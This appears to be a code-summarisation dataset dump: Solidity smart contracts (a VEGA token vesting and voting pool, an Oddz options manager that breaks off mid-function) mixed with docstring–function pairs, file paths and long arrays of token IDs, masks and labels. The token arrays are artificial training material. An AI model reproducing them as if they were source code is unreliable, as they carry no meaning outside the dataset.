function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ISHP {
function balanceOfAt(address owner, uint256 blockNumber) external pure returns (uint256);
function totalSupplyAt(uint256 blockNumber) external pure returns (uint256);
}
interface IVegaVesting {
function tranche_count() external view returns(uint8);
function withdraw_from_tranche(uint8 tranche_id) external;
function get_vested_for_tranche(address user, uint8 tranche_id) external view returns(uint256);
function user_total_all_tranches(address user) external view returns(uint256);
}
contract VEGA_Pool is Ownable {
uint256 public constant EXEPECTED_VEGA = 422000 ether;
uint256 public constant EQUITY_RATIO = 2500;
uint256 public assignSharesCutoff;
uint256 public equityTokens;
uint256 public equityTokensRedeemed;
uint256 public preferentialTokens;
uint256 public preferentialTokensRedeemed;
address public preferentialAddress;
bool public initialized = false;
ISHP public shp;
IERC20 public vega;
IVegaVesting public vegaVesting;
uint256 public referenceBlock;
bool public voteComplete = false;
bool public approveDistribution = false;
mapping(address => uint256) public equityShares;
mapping(address => bool) public permittedEquityHolders;
mapping(uint256 => address) public equityHolders;
mapping(address => int8) public distributionVotes;
mapping(address => bool) public shpTokensRedeemed;
uint256 public totalEquityHolders;
uint256 public totalShares;
uint256 public totalVotes;
int256 public voteOutcome;
uint256 public shpRedemptionCount;
event VoteCast(int8 vote, address shareholder);
event TokensClaimed(uint256 amount, address recipient);
event ERC20TokenWithdrawn(uint256 amount, address tokenAddress);
event EtherWithdrawn(uint256 amount);
event EquityIssued(address holder, uint256 amount,
uint256 totalEquityHolders, uint256 totalShares);
event PreferentialTokensRedeemed(uint256 amount);
event EquityTokensRedeemed(address recipient, uint256 amount);
event ExcessTokensRedeemed(uint256 amount);
event PermittedEquityHolderAdded(address holder);
event VegaPoolInitialized(address vegaAddress, address vestingAddress,
address preferentialAddress, uint256 assignSharesCutoff,
uint256 referenceBlock, address shpTokenAddress);
// This modifier makes sure the contract has been initialized
modifier requireInitialized() {
require(initialized, "Contract is not initialized.");
_;
}
// This modifier makes sure the contract is not initialized
modifier notInitialized() {
require(!initialized, "Contract has been initialized.");
_;
}
receive() external payable { }
/**
* This function allows equity holders to vote on whether tokens should
* remain theirs, or whether they should be made available for redemption
* by SHP token holders.
*
* If they vote to allow SHP token holders to redeem VEGA from the contract
* then SHP token holders will be able to call the claimTokens function
* and the amount of VEGA will be calculated based on their SHP holding
* at the reference Ethereum block.
*
* Once the vote has been successfully completed, if the equity holders vote
* AGAINST distrubiton, they will be able to redeem tokens by calling
* redeemTokensViaEquity. If they vote FOR distribution they will not be
* able to redeem any tokens. Instead SHP token holders will be able to
* redeem tokens by calling claimTokens.
*
* _vote the user's vote (1 = for, -1 = against)
**/
function castVote(int8 _vote) requireInitialized public {
require(block.timestamp > assignSharesCutoff,
"Cannot vote whilst shares can still be assigned.");
require(distributionVotes[msg.sender] == 0,
"You have already cast your vote.");
require(_vote == 1 || _vote == -1,
"Vote must be 1 or -1");
require(voteComplete == false,
"Voting has already concluded.");
require(equityShares[msg.sender] > 0,
"You cannot vote without equity shares.");
int256 weight = int256(getUserEquity(msg.sender));
distributionVotes[msg.sender] = _vote;
totalVotes += 1;
voteOutcome += (_vote * weight);
if(totalVotes == totalEquityHolders) {
voteComplete = true;
approveDistribution = voteOutcome > 0;
}
emit VoteCast(_vote, msg.sender);
}
/**
* This function withdraws any vested tokens and redeems the preferential
* tokens if they have not already been redeemed.
**/
function syncTokens() requireInitialized internal {
withdrawVestedTokens();
if(preferentialTokens > preferentialTokensRedeemed) {
redeemPreferentialTokens();
}
}
/**
* This function allows users that held SHP at the reference Ethereum block
* to claim VEGA from the smart contract, provided the equity holders have
* voted to permit them to do so.
*
* If permitted to do so, the equityTokens will be made available to users
* in direct proportion to the SHP held (divided by total supply) at the
* reference block.
**/
function claimTokens() requireInitialized public {
require(approveDistribution, "Distribution is not approved");
syncTokens();
require(preferentialTokens == preferentialTokensRedeemed,
"Cannot claim until preferential tokens are redeemed.");
uint256 shpBalance = shp.balanceOfAt(msg.sender, referenceBlock);
require(shpTokensRedeemed[msg.sender] == false,
"SHP holder already claimed tokens.");
uint256 vegaBalance = vega.balanceOf(address(this));
require(shpRedemptionCount > 0 || vegaBalance >= equityTokens,
"Cannot claim until all equity tokens are fully vested.");
uint256 shpSupply = shp.totalSupplyAt(referenceBlock);
uint256 mod = 1000000000000;
uint256 tokenAmount = (((shpBalance * mod) / shpSupply) *
equityTokens) / mod;
vega.transfer(msg.sender, tokenAmount);
equityTokensRedeemed += tokenAmount;
shpTokensRedeemed[msg.sender] = true;
shpRedemptionCount += 1;
emit TokensClaimed(tokenAmount, msg.sender);
}
/**
* This function allows the owner to withdraw any ERC20 which is not VEGA
* from the contract at-will. This can be used to redeem staking rewards,
* or other ERC20s which might end up in this contract by mistake, or by
* something like an airdrop.
*
* _tokenAddress the contract address for the ERC20
**/
function withdrawArbitraryTokens(
address _tokenAddress
) requireInitialized onlyOwner public {
require(_tokenAddress != address(vega),
"VEGA cannot be withdrawn at-will.");
IERC20 token = IERC20(_tokenAddress);
uint256 amount = token.balanceOf(address(this));
token.transfer(owner(), amount);
emit ERC20TokenWithdrawn(amount, _tokenAddress);
}
/**
* This function performs the same role as withdrawArbitraryTokens, except
* it is used to withdraw ETH.
**/
function withdrawEther() requireInitialized onlyOwner public {
uint256 amount = address(this).balance;
payable(owner()).transfer(amount);
emit EtherWithdrawn(amount);
}
/**
* This function can be called by anybody and it withdraws unlocked
* VEGA tokens from the vesting contract. The tokens are transferred
* to this contract, which allows them to be redeemed by the rightful owner
* when they call one of the redemption functions.
**/
function withdrawVestedTokens() requireInitialized internal {
for(uint8 i = 1; i < vegaVesting.tranche_count(); i++) {
if(vegaVesting.get_vested_for_tranche(address(this), i) > 0) {
vegaVesting.withdraw_from_tranche(i);
}
}
}
/**
* This function allows the owner to issue equity to new users. This is done
* by assigning an absolute number of shares, which in turn dilutes all
* existing share holders.
*
* _holder the Ethereum address of the equity holder
* _amount the number of shares to be assigned to the holder
**/
function issueEquity(
address _holder,
uint256 _amount
) requireInitialized onlyOwner public {
require(permittedEquityHolders[_holder],
"The holder must be permitted to own equity.");
require(assignSharesCutoff > block.timestamp,
"The cutoff has passed for assigning shares.");
if(equityShares[_holder] == 0) {
equityHolders[totalEquityHolders] = _holder;
totalEquityHolders += 1;
}
totalShares += _amount;
equityShares[_holder] += _amount;
emit EquityIssued(_holder, _amount, totalEquityHolders, totalShares);
}
/**
* This function allows the preferential tokens to be distributed to the
* rightful owner. This function can be called by anybody.
**/
function redeemPreferentialTokens() requireInitialized public {
require(preferentialTokens > preferentialTokensRedeemed,
"All preferntial tokens have been redeemed.");
withdrawVestedTokens();
uint256 availableTokens = preferentialTokens - preferentialTokensRedeemed;
uint256 vegaBalance = vega.balanceOf(address(this));
if(availableTokens > vegaBalance) {
availableTokens = vegaBalance;
}
vega.transfer(preferentialAddress, availableTokens);
preferentialTokensRedeemed += availableTokens;
emit PreferentialTokensRedeemed(availableTokens);
}
/**
* This function distributes tokens to equity holders based on the amount
* of shares they own.
*
* Anybody can call this function in order to ensure all of the tokens are
* distributed when it becomes eligible to do so.
**/
function redeemTokensViaEquity() requireInitialized public {
require(totalShares > 0, "There are are no equity holders");
require(assignSharesCutoff < block.timestamp,
"Tokens cannot be redeemed whilst equity can still be assigned.");
syncTokens();
require(preferentialTokens == preferentialTokensRedeemed,
"Cannot redeem via equity until all preferential tokens are collected.");
require(voteComplete, "Cannot redeem via equity until vote is completed.");
require(approveDistribution == false,
"Tokens can only be redeemed by SHP holders.");
uint256 availableTokens = equityTokens - equityTokensRedeemed;
uint256 vegaBalance = vega.balanceOf(address(this));
if(availableTokens > vegaBalance) {
availableTokens = vegaBalance;
}
for(uint256 i = 0; i < totalEquityHolders; i++) {
uint256 tokensToRedeem = (availableTokens *
getUserEquity(equityHolders[i])) / 10000;
vega.transfer(equityHolders[i], tokensToRedeem);
equityTokensRedeemed += tokensToRedeem;
emit EquityTokensRedeemed(equityHolders[i], tokensToRedeem);
}
}
/**
* This function allows anybody to redeem excess VEGA to the owner's wallet
* provided the following conditions are met:
*
* 1) No equity shares exist, which happens under two scenarios:
* a) They are never issued in the first place
* b) They are burnt after redeeming VEGA
* 2) The cut-off for assigning equity shares is in the past
*
* This function transfers the entire VEGA balance held by the
* smart contract at execution time.
**/
function redeemExcessTokens() requireInitialized public {
if(totalEquityHolders > 0) {
require(equityTokens == equityTokensRedeemed,
"Cannot redeem excess tokens until equity tokens are collected.");
}
require(preferentialTokens == preferentialTokensRedeemed,
"Cannot redeem excess tokens until preferential tokens are collected.");
withdrawVestedTokens();
uint256 amount = vega.balanceOf(address(this));
emit ExcessTokensRedeemed(amount);
vega.transfer(owner(), amount);
}
/**
* This function calculates the equity of the specified user
*
* _holder the Ethereum address of the equity holder
**/
function getUserEquity(
address _holder
) public view returns(uint256) {
return (equityShares[_holder] * 10000) / totalShares;
}
/**
* This function allows the contract to be initialized only once.
* We do not use the constructor, because the Vega vesting contract needs to
* know the address of this smart contract when it is deployed. Therefore,
* this contract needs to be deployed, and then updated with the address of
* the Vega vesting contract afterwards.
*
* _vegaAdress the Ethereum address of the VEGA token contract
* _vegaVestingAddress the Ethereum address of Vega's vesting contract
* _preferentialAddress Ethereum address for preferential tokens
* _holders an array of permitted equity holders
* _assignSharesCutoff timestamp after which shares cannot be assigned
* _referenceBlock the Ethereum block to lookup SHP balances with
* _shpTokenAddress the Ethereum address for SHP token contract
**/
function initialize(
address _vegaAddress,
address _vegaVestingAddress,
address _preferentialAddress,
address[] memory _holders,
uint256 _assignSharesCutoff,
uint256 _referenceBlock,
address _shpTokenAddress
) public onlyOwner notInitialized {
vega = IERC20(_vegaAddress);
shp = ISHP(_shpTokenAddress);
vegaVesting = IVegaVesting(_vegaVestingAddress);
uint256 totalTokens = vegaVesting.user_total_all_tranches(address(this));
preferentialAddress = _preferentialAddress;
assignSharesCutoff = _assignSharesCutoff;
referenceBlock = _referenceBlock;
require(totalTokens >= EXEPECTED_VEGA,
"The balance at the vesting contract is too low.");
for(uint8 x = 0; x < _holders.length; x++) {
permittedEquityHolders[_holders[x]] = true;
emit PermittedEquityHolderAdded(_holders[x]);
}
equityTokens = (totalTokens * EQUITY_RATIO) / 10000;
preferentialTokens = totalTokens - equityTokens;
initialized = true;
emit VegaPoolInitialized(_vegaAddress, _vegaVestingAddress,
_preferentialAddress, _assignSharesCutoff,
_referenceBlock, _shpTokenAddress);
}
}
|
* This function allows users that held SHP at the reference Ethereum block to claim VEGA from the smart contract, provided the equity holders have voted to permit them to do so. If permitted to do so, the equityTokens will be made available to users in direct proportion to the SHP held (divided by total supply) at the reference block./
|
function claimTokens() requireInitialized public {
require(approveDistribution, "Distribution is not approved");
syncTokens();
require(preferentialTokens == preferentialTokensRedeemed,
"Cannot claim until preferential tokens are redeemed.");
uint256 shpBalance = shp.balanceOfAt(msg.sender, referenceBlock);
require(shpTokensRedeemed[msg.sender] == false,
"SHP holder already claimed tokens.");
uint256 vegaBalance = vega.balanceOf(address(this));
require(shpRedemptionCount > 0 || vegaBalance >= equityTokens,
"Cannot claim until all equity tokens are fully vested.");
uint256 shpSupply = shp.totalSupplyAt(referenceBlock);
uint256 mod = 1000000000000;
uint256 tokenAmount = (((shpBalance * mod) / shpSupply) *
equityTokens) / mod;
vega.transfer(msg.sender, tokenAmount);
equityTokensRedeemed += tokenAmount;
shpTokensRedeemed[msg.sender] = true;
shpRedemptionCount += 1;
emit TokensClaimed(tokenAmount, msg.sender);
}
| 14,917,458 |
[
1,
2503,
445,
5360,
3677,
716,
15770,
348,
2500,
622,
326,
2114,
512,
18664,
379,
1203,
358,
7516,
776,
41,
25043,
628,
326,
13706,
6835,
16,
2112,
326,
1298,
560,
366,
4665,
1240,
331,
16474,
358,
21447,
2182,
358,
741,
1427,
18,
971,
15498,
358,
741,
1427,
16,
326,
1298,
560,
5157,
903,
506,
7165,
2319,
358,
3677,
316,
2657,
23279,
358,
326,
348,
2500,
15770,
261,
2892,
13898,
635,
2078,
14467,
13,
622,
326,
2114,
1203,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
7516,
5157,
1435,
2583,
11459,
1071,
288,
203,
565,
2583,
12,
12908,
537,
9003,
16,
315,
9003,
353,
486,
20412,
8863,
203,
565,
3792,
5157,
5621,
203,
565,
2583,
12,
1484,
586,
2001,
5157,
422,
13256,
2001,
5157,
426,
24903,
329,
16,
203,
1377,
315,
4515,
7516,
3180,
13256,
2001,
2430,
854,
283,
24903,
329,
1199,
1769,
203,
565,
2254,
5034,
25771,
13937,
273,
25771,
18,
12296,
951,
861,
12,
3576,
18,
15330,
16,
2114,
1768,
1769,
203,
565,
2583,
12,
674,
84,
5157,
426,
24903,
329,
63,
3576,
18,
15330,
65,
422,
629,
16,
203,
1377,
315,
55,
2500,
10438,
1818,
7516,
329,
2430,
1199,
1769,
203,
565,
2254,
5034,
331,
11061,
13937,
273,
331,
11061,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
565,
2583,
12,
674,
84,
426,
19117,
375,
1380,
405,
374,
747,
331,
11061,
13937,
1545,
1298,
560,
5157,
16,
203,
1377,
315,
4515,
7516,
3180,
777,
1298,
560,
2430,
854,
7418,
331,
3149,
1199,
1769,
203,
565,
2254,
5034,
25771,
3088,
1283,
273,
25771,
18,
4963,
3088,
1283,
861,
12,
6180,
1768,
1769,
203,
565,
2254,
5034,
681,
273,
15088,
9449,
31,
203,
565,
2254,
5034,
1147,
6275,
273,
261,
12443,
674,
84,
13937,
380,
681,
13,
342,
25771,
3088,
1283,
13,
380,
203,
1377,
1298,
560,
5157,
13,
342,
681,
31,
203,
565,
331,
11061,
18,
13866,
12,
3576,
18,
15330,
16,
1147,
6275,
1769,
203,
565,
1298,
560,
5157,
426,
24903,
329,
1011,
1147,
6275,
31,
203,
565,
25771,
5157,
426,
24903,
329,
2
] |
./partial_match/1/0x8b6B749C396260780591461E92D5269AA6911Cf3/sources/ThreadsOfficial.sol
|
Transferable amount
|
uint256 transferAmount = amount - burnAmount;
| 9,428,067 |
[
1,
5912,
429,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
2254,
5034,
7412,
6275,
273,
3844,
300,
18305,
6275,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: BSD-4-Clause
pragma solidity 0.8.3;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./IOddzOption.sol";
import "./IOddzAsset.sol";
import "../Pool/IOddzLiquidityPoolManager.sol";
import "./IOddzOptionPremiumManager.sol";
import "../IOddzAdministrator.sol";
import "../IOddzSDK.sol";
import "../Oracle/IOddzPriceOracleManager.sol";
import "../Oracle/IOddzIVOracleManager.sol";
import "../Libs/ABDKMath64x64.sol";
import "../Libs/IERC20Extented.sol";
import "./IOddzFeeManager.sol";
contract OddzOptionManager is IOddzOption, AccessControl {
using Math for uint256;
using SafeERC20 for IERC20Extented;
using Address for address;
bytes32 public constant TIMELOCKER_ROLE = keccak256("TIMELOCKER_ROLE");
IOddzAsset public assetManager;
IOddzLiquidityPoolManager public pool;
IOddzPriceOracleManager public oracle;
IOddzIVOracleManager public volatility;
IOddzOptionPremiumManager public premiumManager;
IERC20Extented public token;
IOddzFeeManager public oddzFeeManager;
Option[] public override options;
/**
* @dev Transaction Fee definitions
*/
uint256 public txnFeeAggregate;
/**
* @dev Settlement Fee definitions
*/
uint256 public settlementFeeAggregate;
/**
* @dev Max Deadline in seconds
*/
uint32 public maxDeadline;
/**
* @dev SDK contract address
*/
IOddzSDK public sdk;
IOddzAdministrator public administrator;
/**
* @dev minimum premium
*/
uint256 public minimumPremium;
/**
* @dev option transfer map
* mapping (optionId => minAmount)
*/
mapping(uint256 => uint256) public optionTransferMap;
constructor(
IOddzPriceOracleManager _oracle,
IOddzIVOracleManager _iv,
IOddzLiquidityPoolManager _pool,
IERC20Extented _token,
IOddzAsset _assetManager,
IOddzOptionPremiumManager _premiumManager,
IOddzFeeManager _oddzFeeManager
) {
pool = _pool;
oracle = _oracle;
volatility = _iv;
token = _token;
assetManager = _assetManager;
premiumManager = _premiumManager;
oddzFeeManager = _oddzFeeManager;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(TIMELOCKER_ROLE, msg.sender);
_setRoleAdmin(TIMELOCKER_ROLE, TIMELOCKER_ROLE);
}
modifier onlyOwner(address _address) {
require(hasRole(DEFAULT_ADMIN_ROLE, _address), "caller has no access to the method");
_;
}
modifier onlyTimeLocker(address _address) {
require(hasRole(TIMELOCKER_ROLE, _address), "caller has no access to the method");
_;
}
modifier validAmount(uint256 _amount, address _pair) {
require(_amount >= assetManager.getPurchaseLimit(_pair), "amount less than purchase limit");
_;
}
modifier validateOptionParams(
OptionType _optionType,
address _pair,
uint256 _expiration
) {
_validAssetPair(_pair);
_validExpiration(_expiration, _pair);
_;
}
function _validExpiration(uint256 _expiration, address _pair) private view {
require(_expiration <= assetManager.getMaxPeriod(_pair), "Expiration is greater than max expiry");
require(_expiration >= assetManager.getMinPeriod(_pair), "Expiration is less than min expiry");
}
function _validAssetPair(address _pair) private view {
require(assetManager.getStatusOfPair(_pair) == true, "Invalid Asset pair");
}
/**
* @notice validate strike price
* @param _strike strike price provided by the option buyer
* @param _minPrice minumum allowed strike price
* @param _maxPrice maximum allowed strike price
*/
function _validStrike(
uint256 _strike,
uint256 _minPrice,
uint256 _maxPrice
) private pure {
require(_strike <= _maxPrice && _strike >= _minPrice, "Strike out of Range");
}
/**
* @notice validate option premium
* @param _value user paid amount
* @param _premium option premium
*/
function _validateOptionAmount(uint256 _value, uint256 _premium) private view {
require(_premium >= minimumPremium, "amount is lower than minimum premium");
require(_value >= _premium, "Premium is low");
}
/**
* @notice get maximum strike price
* @param _cp current price of the underlying asset
* @param _iv implied volatility of the underlying asset
* @param _ivDecimal iv precision
* @return oc - over collateralization
*/
function _getMaxStrikePrice(
uint256 _cp,
uint256 _iv,
uint8 _ivDecimal
) private pure returns (uint256 oc) {
// fetch highest call price using IV
uint256 ivExp = ABDKMath64x64.mulu(ABDKMath64x64.exp(ABDKMath64x64.divu(_iv, 10**_ivDecimal)), 10**_ivDecimal);
oc = (_cp * ivExp) / (10**_ivDecimal);
}
/**
* @notice get minimum strike price
* @param _cp current price of the underlying asset
* @param _iv implied volatility of the underlying asset
* @param _ivDecimal iv precision
* @return oc - over collateralization
*/
function _getMinStrikePrice(
uint256 _cp,
uint256 _iv,
uint8 _ivDecimal
) private pure returns (uint256 oc) {
// fetch lowest put price using IV
// use negative IV for put
uint256 ivExp = ABDKMath64x64.mulu(ABDKMath64x64.exp(-ABDKMath64x64.divu(_iv, 10**_ivDecimal)), 10**_ivDecimal);
oc = (_cp * ivExp) / (10**_ivDecimal);
}
/**
* @notice get current price of the given asset
* @param _pair asset pair
* @return cp - current price of the underlying asset
*/
function _getCurrentPrice(IOddzAsset.AssetPair memory _pair) private view returns (uint256 cp) {
uint8 decimal;
// retrieving struct if more than one field is used, to reduce gas for memory storage
IOddzAsset.Asset memory primary = assetManager.getAsset(_pair._primary);
(cp, decimal) = oracle.getUnderlyingPrice(primary._name, _pair._strike);
cp = _updatePrecision(cp, decimal, primary._precision);
}
/**
* @notice get collateral info for option
* @param _cp current price of the underlying asset
* @param _iv implied volatility of the underlying asset
* @param _strike strike price provided by the option buyer
* @param _pair Asset pair
* @param _ivDecimal iv precision
* @return callOverColl - call over collateral
* @return putOverColl - put over collateral
*/
function _getCollateralAmount(
uint256 _cp,
uint256 _iv,
uint256 _strike,
address _pair,
uint8 _ivDecimal
) private view returns (uint256 callOverColl, uint256 putOverColl) {
IOddzAsset.Asset memory primary = assetManager.getAsset(assetManager.getPrimaryFromPair(_pair));
uint256 minAssetPrice = _getMinStrikePrice(_cp, _iv, _ivDecimal);
uint256 maxAssetPrice = _getMaxStrikePrice(_cp, _iv, _ivDecimal);
_validStrike(_strike, minAssetPrice, maxAssetPrice);
// limit call over collateral to _strike i.e. max profit is limited to _strike
callOverColl = _updatePrecision(maxAssetPrice.min(_strike), primary._precision, token.decimals());
putOverColl = _updatePrecision(_strike - minAssetPrice, primary._precision, token.decimals());
}
function _getLockAmount(
uint256 _cp,
uint256 _iv,
uint256 _strike,
address _pair,
uint8 _ivDecimal,
OptionType _optionType,
uint256 _quantity
) private view returns (uint256 lockAmount) {
(uint256 callOverColl, uint256 putOverColl) = _getCollateralAmount(_cp, _iv, _strike, _pair, _ivDecimal);
lockAmount = _optionType == OptionType.Call ? callOverColl : putOverColl;
lockAmount = (lockAmount * _quantity) / 1e18;
}
function buy(
OptionDetails memory _details,
uint256 _premiumWithSlippage,
address _buyer
)
external
override
validateOptionParams(_details._optionType, _details._pair, _details._expiration)
validAmount(_details._amount, _details._pair)
returns (uint256 optionId)
{
address buyer_ = msg.sender == address(sdk) ? _buyer : msg.sender;
optionId = _createOption(_details, _premiumWithSlippage, buyer_);
}
/**
* @notice Create option
* @param _details option buy details
* @param _premiumWithSlippage Options details
* @param _buyer Address of buyer
* @return optionId newly created Option Id
*/
function _createOption(
OptionDetails memory _details,
uint256 _premiumWithSlippage,
address _buyer
) private returns (uint256 optionId) {
PremiumResult memory premiumResult = getPremium(_details, _buyer);
require(_premiumWithSlippage >= premiumResult.optionPremium, "Premium crossed slippage tolerance");
uint256 cp = _getCurrentPrice(assetManager.getPair(_details._pair));
_validateOptionAmount(
token.allowance(_buyer, address(this)),
premiumResult.optionPremium + premiumResult.txnFee
);
uint256 lockAmount =
_getLockAmount(
cp,
premiumResult.iv,
_details._strike,
_details._pair,
premiumResult.ivDecimal,
_details._optionType,
_details._amount
);
optionId = options.length;
Option memory option =
Option(
State.Active,
_buyer,
_details._strike,
_details._amount,
lockAmount,
premiumResult.optionPremium,
_details._expiration + block.timestamp,
_details._pair,
_details._optionType
);
options.push(option);
IOddzLiquidityPoolManager.LiquidityParams memory liquidityParams =
IOddzLiquidityPoolManager.LiquidityParams(
lockAmount,
_details._expiration,
_details._pair,
_details._optionModel,
_details._optionType
);
pool.lockLiquidity(optionId, liquidityParams, premiumResult.optionPremium);
txnFeeAggregate += premiumResult.txnFee;
token.safeTransferFrom(_buyer, address(pool), premiumResult.optionPremium);
token.safeTransferFrom(_buyer, address(this), premiumResult.txnFee);
emit Buy(
optionId,
_buyer,
_details._optionModel,
premiumResult.txnFee,
premiumResult.optionPremium + premiumResult.txnFee,
_details._pair
);
}
/**
* @notice Used for getting the actual options prices
* @param _option Option details
* @param _buyer Address of option buyer
* @return premiumResult Premium, iv Details
*/
function getPremium(OptionDetails memory _option, address _buyer)
public
view
override
validateOptionParams(_option._optionType, _option._pair, _option._expiration)
returns (PremiumResult memory premiumResult)
{
(premiumResult.ivDecimal, premiumResult.iv, premiumResult.optionPremium) = _getOptionPremiumDetails(_option);
premiumResult.txnFee = _getTransactionFee(premiumResult.optionPremium, _buyer);
}
function _getOptionPremiumDetails(OptionDetails memory optionDetails)
private
view
returns (
uint8 ivDecimal,
uint256 iv,
uint256 optionPremium
)
{
IOddzAsset.AssetPair memory pair = assetManager.getPair(optionDetails._pair);
uint256 price = _getCurrentPrice(pair);
(iv, ivDecimal) = volatility.calculateIv(
pair._primary,
pair._strike,
optionDetails._expiration,
price,
optionDetails._strike
);
optionPremium = premiumManager.getPremium(
optionDetails._optionType == IOddzOption.OptionType.Call ? true : false,
assetManager.getPrecision(pair._primary),
ivDecimal,
price,
optionDetails._strike,
optionDetails._expiration,
optionDetails._amount,
iv,
optionDetails._optionModel
);
// convert to USD price precision
uint8 _decimal = assetManager.getPrecision(pair._primary);
optionPremium = _updatePrecision(optionPremium, _decimal, token.decimals());
}
/**
* @notice Used for cash settlement excerise for an active option
* @param _optionId Option id
*/
function exercise(uint256 _optionId) external override {
Option storage option = options[_optionId];
require(option.expiration >= block.timestamp, "Option has expired");
require(option.holder == msg.sender, "Invalid Caller");
require(option.state == State.Active, "Invalid state");
option.state = State.Exercised;
(uint256 profit, uint256 settlementFee) = _getProfit(_optionId);
pool.send(_optionId, option.holder, profit);
emit Exercise(_optionId, profit, settlementFee, ExcerciseType.Cash);
}
/**
* @notice Used for physical settlement excerise for an active option
* @param _optionId Option id
* @param _deadline Deadline until which txn does not revert
* @param _minAmountOut Min output tokens
*/
function exerciseUA(
uint256 _optionId,
uint32 _deadline,
uint16 _minAmountOut
) external override {
require(_deadline <= maxDeadline, "Deadline input is more than maximum limit allowed");
Option storage option = options[_optionId];
